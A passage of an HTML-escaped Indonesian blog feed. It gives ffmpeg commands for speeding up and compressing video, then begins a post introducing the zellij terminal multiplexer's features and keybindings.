&lt;/ul&gt;&lt;p&gt;Perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input.mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-vf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;setpts=PTS/11.53&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-an&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-movflags&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+faststart&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;output.mp4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Penjelasan parameter:&lt;br /&gt;
&lt;code&gt;-vf &quot;setpts=PTS/11.53&quot;&lt;/code&gt;: Membagi timestamp setiap frame dengan 11.53, sehingga video berjalan 11.53x lebih cepat. Semakin besar nilai &lt;code&gt;setpts&lt;/code&gt;, semakin cepat videonya.&lt;br /&gt;
&lt;code&gt;-an&lt;/code&gt;: Tanpa audio (&lt;em&gt;audio none&lt;/em&gt;).&lt;br /&gt;
&lt;code&gt;-movflags +faststart&lt;/code&gt;: Optimasi untuk &lt;em&gt;streaming&lt;/em&gt;/&lt;em&gt;preview&lt;/em&gt; cepat.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. With Compression&lt;a href=&quot;#2-with-compression&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Cara ini memungkinkan kita mempercepat video sambil mengkompres ukuran filenya. Artinya, jika kita ingin agar ukuran file akhir dari proses ini juga sekaligus ikut terkompres (lagi), maka cara ini lebih sesuai.&lt;/p&gt;&lt;p&gt;Misalnya, saya memiliki sebuah file video dengan spesifikasi berikut:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Durasi asli: 2 menit 53 detik (173 detik total).&lt;/li&gt;
&lt;li&gt;Target durasi: 15 detik.&lt;/li&gt;
&lt;li&gt;Faktor percepatan: 173 ÷ 15 ≈ 11.53x&lt;/li&gt;
&lt;li&gt;Target ukuran file: 2 MB&lt;/li&gt;
&lt;li&gt;Target total bitrate: (2 x 8 x 1024) / 15 ≈ 1092 kbps&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input.mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-vf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;setpts=PTS/11.53&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libx264&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1092k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-an&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-movflags&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+faststart&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;output.mp4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Penjelasan parameter:&lt;br /&gt;
&lt;code&gt;-vf &quot;setpts=PTS/11.53&quot;&lt;/code&gt;: Membagi timestamp setiap frame dengan 11.53, sehingga video berjalan 11.53x lebih cepat. Semakin besar nilai &lt;code&gt;setpts&lt;/code&gt;, semakin cepat videonya.&lt;br /&gt;
&lt;code&gt;-an&lt;/code&gt;: Tanpa audio (&lt;em&gt;audio none&lt;/em&gt;).&lt;br /&gt;
&lt;code&gt;-movflags +faststart&lt;/code&gt;: Optimasi untuk &lt;em&gt;streaming&lt;/em&gt;/&lt;em&gt;preview&lt;/em&gt; cepat.&lt;br /&gt;
&lt;code&gt;-c:v libx264&lt;/code&gt;: Codec video H.264 (&lt;em&gt;compatibility&lt;/em&gt; luas).&lt;br /&gt;
&lt;code&gt;-b:v 1092&lt;/code&gt;: Target bitrate video.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Artikel ini ditulis di &lt;a href=&quot;https://archlinux.org/&quot; target=&quot;_blank&quot;&gt;Archlinux&lt;/a&gt; + &lt;a href=&quot;https://niri-wm.github.io/&quot; target=&quot;_blank&quot;&gt;Niri&lt;/a&gt; + &lt;a href=&quot;https://noctalia.dev/&quot; target=&quot;_blank&quot;&gt;Noctalia Shell&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;(&lt;strong&gt;Click to Zoom in&lt;/strong&gt;).&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;arch noctalia 1&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/post1.aWSqgjRE_C5jLX.webp&quot; /&gt;&lt;figcaption&gt;arch noctalia 1&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;arch noctalia 2&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/post2.FU5E2ZLo_19eKnQ.webp&quot; /&gt;&lt;figcaption&gt;arch noctalia 2&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;arch noctalia 3&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/post3.5YSlsMU8_Z1592tc.webp&quot; /&gt;&lt;figcaption&gt;arch noctalia 3&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;arch noctalia 4&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/post4.C2brsmEv_1n3ac2.webp&quot; /&gt;&lt;figcaption&gt;arch noctalia 4&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://claude.ai/share/936a314e-a343-476e-8ea0-84842bbc5167&quot; target=&quot;_blank&quot;&gt;https://claude.ai/share/936a314e-a343-476e-8ea0-84842bbc5167&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Zellij: Another Terminal Multiplexer, Yet More Modern</title><link>https://shangdi.github.io/posts/tech/zellij/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/zellij/</guid><description>If tmux is the legendary terminal multiplexer, meaning it is the oldest and not really convenient for beginners, then, zellij is your other terminal multiplexer, yet offering modern UI and convenience.</description><pubDate>Sun, 21 Jun 2026 23:46:06 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Getting to Know&lt;a href=&quot;#getting-to-know&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Seperti &lt;code&gt;tmux&lt;/code&gt;, &lt;code&gt;zellij&lt;/code&gt; adalah sebuah program terminal multiplexer juga. Akan tetapi, zellij menawarkan tampilan / UI (&lt;em&gt;User Interface&lt;/em&gt;) yang lebih modern dan kemudahan penggunaan dibandingkan dengan &lt;code&gt;tmux&lt;/code&gt; sehingga pengguna pemula maupun &lt;em&gt;power user&lt;/em&gt; dapat menggunakan &lt;code&gt;zellij&lt;/code&gt; dengan lebih nyaman. Oleh karena itu, gak terlalu salah kalau dikatakan bahwa &lt;code&gt;zellij&lt;/code&gt; adalah &lt;code&gt;tmux&lt;/code&gt; versi yang lebih modern.&lt;/p&gt;&lt;p&gt;Hirarki yang dimiliki &lt;code&gt;zellij&lt;/code&gt; juga saya pikir mirip dengan level hirarkinya &lt;code&gt;tmux&lt;/code&gt;, yang terbagi ke 3 level: &lt;strong&gt;Session &amp;gt; Tab &amp;gt; Pane&lt;/strong&gt;. Jadi, ketika kita pertama kali menjalankan program &lt;code&gt;zellij&lt;/code&gt;, dia akan membuat sebuah “Session” yang di dalamnya juga sudah memiliki sebuah “Tab” yang mengandung sebuah “Pane”. Di dalam “Session” tersebut, kita bisa menambahkan “Tab” yang dapat kita bagi menjadi beberapa “Pane”.&lt;/p&gt;&lt;p&gt;Perhatikan ilustrasi berikut:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://excalidraw.com/?element=Svp3euaOi1nCReEOdK3vu&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://excalidraw.com/?element=Svp3euaOi1nCReEOdK3vu&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Session, Tab, and Pane on zellij. Created with: [excalidraw.com]&quot; loading=&quot;lazy&quot; width=&quot;2589&quot; height=&quot;1443&quot; src=&quot;/_astro/ss10.BLWgPavm_Z29nL2X.webp&quot; /&gt;&lt;figcaption&gt;Session, Tab, and Pane on zellij. Created with: [excalidraw.com]&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;a href=&quot;/posts/tech/tmux/&quot;&gt;&lt;div&gt;&lt;div&gt;Tmux: Terminal Multiplexer&lt;/div&gt;&lt;div&gt;Tmux is a legendary terminal multiplexer. By that, you can actually get your terminal more functional by splitting it vertically or horizontally almost instantly.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2026-06-21&lt;/span&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;span&gt;&lt;span&gt;#tmux&lt;/span&gt;&lt;span&gt;#terminal&lt;/span&gt;&lt;span&gt;#multiplexer&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; src=&quot;/_astro/featured.BU2l7Rzw_4o797.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;section&gt;&lt;h3&gt;Features&lt;a href=&quot;#features&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Beberapa fitur &lt;code&gt;zellij&lt;/code&gt; yang juga di-&lt;em&gt;highlight&lt;/em&gt; di website mereka adalah sebagai berikut:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1. Floating Panes&lt;a href=&quot;#1-floating-panes&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;zellij floating panes&quot; loading=&quot;lazy&quot; width=&quot;1903&quot; height=&quot;1041&quot; src=&quot;/_astro/ss1.DPP-SLEL_Z1MMY9p.webp&quot; /&gt;&lt;figcaption&gt;zellij floating panes&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Untuk menjalankannya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Alt+f&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Seperti terlihat, kita dapat membuat &lt;em&gt;floating pane&lt;/em&gt;. Yang unik dari &lt;em&gt;floating pane&lt;/em&gt; ini adalah jika kita menjalankan sebuah perintah atau proses di dalamnya, kemudian kita &lt;em&gt;hide floating pane&lt;/em&gt;-nya, nanti ketika ditampilkan lagi, proses tersebut masih akan tetap berjalan.&lt;/p&gt;&lt;p&gt;Dengan floating pane, kita bisa:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Memindahkan posisinya dengan mouse maupun keyboard.&lt;/li&gt;
&lt;li&gt;Mengatur ukurannya.&lt;/li&gt;
&lt;li&gt;Pin agar &lt;em&gt;always on top&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Stacked Panes&lt;a href=&quot;#2-stacked-panes&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;zellij stacked panes&quot; loading=&quot;lazy&quot; width=&quot;1903&quot; height=&quot;1041&quot; src=&quot;/_astro/ss2.ByDFRSlT_1vVvGL.webp&quot; /&gt;&lt;figcaption&gt;zellij stacked panes&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kita juga bisa membuat &lt;em&gt;stacked panes&lt;/em&gt; (lihat panes di sebelah kanan).&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Mode ini bagus untuk:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menjaga banyak &lt;em&gt;editor buffers&lt;/em&gt; tetap tersedia.&lt;/li&gt;
&lt;li&gt;Memonitor beberapa &lt;em&gt;commands&lt;/em&gt; tanpa mengambil banyak tempat.&lt;/li&gt;
&lt;li&gt;Mengorganisasi &lt;em&gt;workspace&lt;/em&gt; berdasarkan jenis pekerjaan atau konteks.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. Layouts &amp;amp; Automation&lt;a href=&quot;#3-layouts--automation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://zellij.dev/features/&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://zellij.dev/features/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;zellij autozellijmation layouts&quot; loading=&quot;lazy&quot; width=&quot;1572&quot; height=&quot;828&quot; src=&quot;/_astro/ss3.CsdRYIqC_I8xJI.webp&quot; /&gt;&lt;figcaption&gt;zellij autozellijmation layouts&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada gambar di atas, &lt;code&gt;zellij&lt;/code&gt; juga memungkinkan kita untuk melakukan otomatisasi melalui layout-layout. Ini dapat kita lakukan di file konfigurasi &lt;code&gt;zellij&lt;/code&gt;. Beberapa manfaatnya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Mengotomatisasi workflow.&lt;/li&gt;
&lt;li&gt;Langsung membuka file-file di editor ketika membuka &lt;code&gt;zellij&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Membuat template layout supaya tidak selalu mengulang keybind layout yang sama.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;4. Session Management&lt;a href=&quot;#4-session-management&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;zellij session management&quot; loading=&quot;lazy&quot; width=&quot;1903&quot; height=&quot;1041&quot; src=&quot;/_astro/ss4.xPYOyWa3_Zb5Svs.webp&quot; /&gt;&lt;figcaption&gt;zellij session management&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti namanya, kita juga bisa melakukan manajemen sesi dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;w&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Berpindah cepat ke sesi yang aktif.&lt;/li&gt;
&lt;li&gt;Membuat sesi dengan nama custom.&lt;/li&gt;
&lt;li&gt;Mengatur sesi yang berjalan di belakang layar (&lt;em&gt;background&lt;/em&gt;).&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;5. Web Client&lt;a href=&quot;#5-web-client&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;zellij in web browser!&quot; loading=&quot;lazy&quot; width=&quot;1903&quot; height=&quot;1041&quot; src=&quot;/_astro/ss5.D84r6IhT_Z29X8vC.webp&quot; /&gt;&lt;figcaption&gt;zellij in web browser!&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Menurut saya, ini fitur yang paling keren. Kita bisa mengakses &lt;code&gt;zellij&lt;/code&gt; di web browser!&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zellij&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--create-token&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# buat token untuk login ke web&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zellib&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# buat sesi web browser, default: http://127.0.0.1:8082s&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Beberapa manfaatnya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Gak memerlukan terminal karena kita bisa mengakses &lt;code&gt;zellij&lt;/code&gt; di web browser.&lt;/li&gt;
&lt;li&gt;Menjaga sesi agar tetap ada dengan mem-&lt;em&gt;bookmark&lt;/em&gt;-nya via URL (misalnya &lt;code&gt;http://localhost:8082/my-project&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Kita bisa berbagi sesi dengan orang lain, terutama jika mengerjakan proyek yang sama.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;6. Plugin System&lt;a href=&quot;#6-plugin-system&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;zellij welcome screen plugin&quot; loading=&quot;lazy&quot; width=&quot;1903&quot; height=&quot;1041&quot; src=&quot;/_astro/ss6.B2m6yvnF_Z22wE03.webp&quot; /&gt;&lt;figcaption&gt;zellij welcome screen plugin&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zellij&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;welcome&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;zellij&lt;/code&gt; sendiri juga pada dasarnya sudah menggunakan beberapa plugin (&lt;em&gt;pre-bundled plugin&lt;/em&gt;), misalnya seperti &lt;strong&gt;tab-bar&lt;/strong&gt;, &lt;strong&gt;status bar&lt;/strong&gt;, &lt;strong&gt;session-manager&lt;/strong&gt;, dan &lt;strong&gt;welcome screen&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Jadi, kita bisa membuat plugin &lt;code&gt;zellij&lt;/code&gt; kita sendiri menggunakan bahasa pemrograman Rust.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;7. Command Panes&lt;a href=&quot;#7-command-panes&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;zellij command panes&quot; loading=&quot;lazy&quot; width=&quot;1903&quot; height=&quot;1041&quot; src=&quot;/_astro/ss7.KdSLwL36_Z2aDX2K.webp&quot; /&gt;&lt;figcaption&gt;zellij command panes&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kita juga bisa menjalankan perintah tertentu dari luar &lt;code&gt;zellij&lt;/code&gt; yang akan langsung dieksekusi di dalam &lt;code&gt;zellij&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zellij&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-s&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama-sesi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;perintah&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;yang&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ingin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dijalankan&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Manfaatnya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Melihat &lt;strong&gt;exit code&lt;/strong&gt; dari perintah yang berhasil dijalankan.&lt;/li&gt;
&lt;li&gt;Menjalankan kembali suatu command dengan sekali tekan [Enter].&lt;/li&gt;
&lt;li&gt;Bagus untuk &lt;em&gt;build commands&lt;/em&gt;, &lt;em&gt;test&lt;/em&gt;, dan &lt;em&gt;development servers&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;8. Scrollback Editing&lt;a href=&quot;#8-scrollback-editing&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://zellij.dev/features/&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://zellij.dev/features/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;zellij scrollback editing&quot; loading=&quot;lazy&quot; width=&quot;1572&quot; height=&quot;828&quot; src=&quot;/_astro/ss8.CAawYYm-_2rWtBS.webp&quot; /&gt;&lt;figcaption&gt;zellij scrollback editing&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kita juga bisa membuka &lt;em&gt;pane buffer scrollback&lt;/em&gt; di &lt;code&gt;$EDITOR&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+s&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Manfaatnya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menyimpan &lt;em&gt;output&lt;/em&gt; ke file untuk dibagikan atau didokumentasikan.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Search&lt;/em&gt;, &lt;em&gt;manipulate&lt;/em&gt;, dan &lt;em&gt;copy&lt;/em&gt; terminal &lt;em&gt;output&lt;/em&gt; melalui file editor favorit kita.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;9. Multiple Pane Select&lt;a href=&quot;#9-multiple-pane-select&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;zellij multiple pan select&quot; loading=&quot;lazy&quot; width=&quot;1903&quot; height=&quot;1041&quot; src=&quot;/_astro/ss9.BHw6Vb3q_Z2fxnyu.webp&quot; /&gt;&lt;figcaption&gt;zellij multiple pan select&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dengan fitur ini, kita bisa menyeleksi berbagai pane (lihat pane yang terseleksi, berwarna ungu).&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Alt+[left&lt;/span&gt;&lt;span&gt; 